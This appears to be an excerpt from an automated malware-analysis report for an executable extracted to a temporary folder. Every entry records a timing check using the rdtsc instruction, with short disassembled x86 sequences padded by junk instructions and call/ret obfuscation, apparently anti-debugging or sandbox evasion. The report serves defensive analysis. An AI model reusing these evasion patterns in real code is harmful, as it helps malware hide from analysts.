Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8592FA second address: 859341 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C451A5FEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e ja 00007F51C451A5F6h 0x00000014 jmp 00007F51C451A606h 0x00000019 popad 0x0000001a pop ecx 0x0000001b push edi 0x0000001c pushad 0x0000001d jc 00007F51C451A5F6h 0x00000023 pushad 0x00000024 popad 0x00000025 jo 00007F51C451A5F6h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 859841 second address: 859849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 859849 second address: 859866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51C451A607h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 859866 second address: 85987C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F51C4C06D2Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 85987C second address: 85988F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F51C451A5F8h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 85988F second address: 8598AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F51C4C06D34h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 85A163 second address: 85A169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 85A169 second address: 85A16E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 85A2B5 second address: 85A2BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 85A577 second address: 85A594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51C4C06D37h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 85A594 second address: 85A5A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F51C451A5F6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 82EC42 second address: 82EC49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 85EFE6 second address: 85EFEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 864677 second address: 86467B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86467B second address: 864681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 864681 second address: 86469A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F51C4C06D28h 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F51C4C06D2Bh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86469A second address: 86469E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 863DE6 second address: 863DEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 863F32 second address: 863F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51C451A607h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 863F50 second address: 863F62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51C4C06D2Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 863F62 second address: 863F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 863F66 second address: 863F70 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 863F70 second address: 863F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 863F74 second address: 863F7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86636A second address: 8663C1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F51C4518256h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 7518878Dh 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F51C4518258h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c jmp 00007F51C4518267h 0x00000031 call 00007F51C4518259h 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8663C1 second address: 8663C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8663C5 second address: 8663CB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8663CB second address: 866405 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F51C4B31A78h 0x00000011 jg 00007F51C4B31A6Ch 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 866405 second address: 866409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 866409 second address: 86641B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 je 00007F51C4B31A6Eh 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86641B second address: 86643A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F51C4518264h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 866747 second address: 86674B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86674B second address: 86674F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86674F second address: 866755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 866887 second address: 86688B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86688B second address: 86688F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 866932 second address: 866936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 866936 second address: 86693C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86693C second address: 866942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 866A08 second address: 866A0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 866AC9 second address: 866ACF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 866ACF second address: 866AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 866FB8 second address: 866FBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 866FBE second address: 866FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86701E second address: 867034 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C451825Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 867034 second address: 86706E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp], ebx 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F51C4B31A68h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 and esi, dword ptr [ebp+122D2E55h] 0x00000029 push eax 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 867B43 second address: 867B57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4518260h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8683FC second address: 868413 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4B31A73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8695D7 second address: 8695DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8695DB second address: 869654 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F51C4B31A68h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov dword ptr [ebp+12450827h], ebx 0x0000002a push 00000000h 0x0000002c mov di, ax 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F51C4B31A68h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000014h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b jno 00007F51C4B31A6Ch 0x00000051 xchg eax, ebx 0x00000052 pushad 0x00000053 push ebx 0x00000054 jmp 00007F51C4B31A6Eh 0x00000059 pop ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 869654 second address: 869658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86CDE5 second address: 86CE3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edi, 71C096B0h 0x0000000c push 00000000h 0x0000000e mov di, F827h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F51C4B31A68h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e mov esi, 67E29169h 0x00000033 jns 00007F51C4B31A74h 0x00000039 xchg eax, ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d js 00007F51C4B31A66h 0x00000043 pushad 0x00000044 popad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86CE3F second address: 86CE46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86D8B6 second address: 86D8BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86D8BC second address: 86D8C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86D8C0 second address: 86D948 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnl 00007F51C4B31A78h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F51C4B31A68h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+122D3DD4h], edi 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007F51C4B31A68h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 00000017h 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e add dword ptr [ebp+122D27EAh], edi 0x00000054 xchg eax, ebx 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 push edi 0x00000059 pop edi 0x0000005a jmp 00007F51C4B31A6Dh 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86D948 second address: 86D95F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51C4518263h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86E41E second address: 86E425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86E425 second address: 86E42C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86E42C second address: 86E43D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 je 00007F51C4B31A74h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86E43D second address: 86E4A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F51C4518256h 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F51C4518258h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 push 00000000h 0x00000028 or dword ptr [ebp+122D1ECBh], eax 0x0000002e push 00000000h 0x00000030 push ecx 0x00000031 push ebx 0x00000032 sub dword ptr [ebp+1245CC0Eh], ebx 0x00000038 pop edi 0x00000039 pop esi 0x0000003a xchg eax, ebx 0x0000003b jns 00007F51C4518278h 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F51C4518266h 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86E4A0 second address: 86E4A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86E4A4 second address: 86E4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jo 00007F51C4518268h 0x0000000e jmp 00007F51C4518262h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 871404 second address: 871409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8759AE second address: 8759BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8759BA second address: 875A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007F51C4B31A68h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 mov ebx, dword ptr [ebp+12471802h] 0x00000027 push 00000000h 0x00000029 mov edi, dword ptr [ebp+122D25DDh] 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F51C4B31A68h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 00000017h 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b push eax 0x0000004c je 00007F51C4B31A6Eh 0x00000052 push esi 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8788B9 second address: 8788BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8788BD second address: 8788C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8788C3 second address: 8788E9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F51C451825Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jbe 00007F51C451825Ch 0x00000012 jne 00007F51C4518256h 0x00000018 je 00007F51C451825Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 87993D second address: 879941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 87C9D1 second address: 87C9E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51C451825Ch 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 87FF77 second address: 87FF7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 871BD4 second address: 871BE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51C451825Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 871BE6 second address: 871BEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 871BEA second address: 871C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F51C4518269h 0x00000011 jmp 00007F51C4518263h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 873C49 second address: 873C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 874B96 second address: 874B9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
